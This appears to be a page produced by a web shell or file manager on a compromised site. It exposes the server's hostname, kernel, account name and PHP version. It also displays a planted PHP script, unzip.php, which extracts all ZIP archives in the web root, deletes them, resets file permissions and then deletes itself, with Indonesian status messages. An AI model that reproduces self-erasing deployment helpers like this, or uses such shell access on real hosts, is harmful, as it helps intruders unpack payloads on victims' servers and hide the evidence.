HEX
Server: LiteSpeed
System: Linux eko108.isimtescil.net 4.18.0-477.21.1.lve.1.el8.x86_64 #1 SMP Tue Sep 5 23:08:35 UTC 2023 x86_64
User: uyarreklamcomtr (11202)
PHP: 7.4.33
Disabled: opcache_get_status
Upload Files
File: /var/www/vhosts/uyarreklam.com.tr/httpdocs/unzip.php
<?php
$dir = __DIR__;
$self = __FILE__;
$zipFiles = glob($dir . '/*.zip');

foreach ($zipFiles as $zipFile) {
    echo "Extracting: " . basename($zipFile) . "<br>";
    $zip = new ZipArchive;
    if ($zip->open($zipFile) === TRUE) {
        $zip->extractTo($dir);
        $zip->close();
        echo "Berhasil extract: " . basename($zipFile) . "<br>";
        unlink($zipFile);
        echo "ZIP dihapus: " . basename($zipFile) . "<br>";
    } else {
        echo "Gagal membuka: " . basename($zipFile) . "<br>";
    }
}

$objects = new RecursiveIteratorIterator(
    new RecursiveDirectoryIterator($dir, RecursiveDirectoryIterator::SKIP_DOTS),
    RecursiveIteratorIterator::SELF_FIRST
);

foreach ($objects as $item) {
    if ($item->getPathname() === $self) continue;
    if (pathinfo($item->getPathname(), PATHINFO_EXTENSION) === 'zip') continue;
    if ($item->isDir()) chmod($item->getPathname(), 0755);
    else chmod($item->getPathname(), 0644);
}

echo "Selesai extract & bersih-bersih ZIP.<br>";
echo "Menghapus file script ini...<br>";
unlink($self);
?>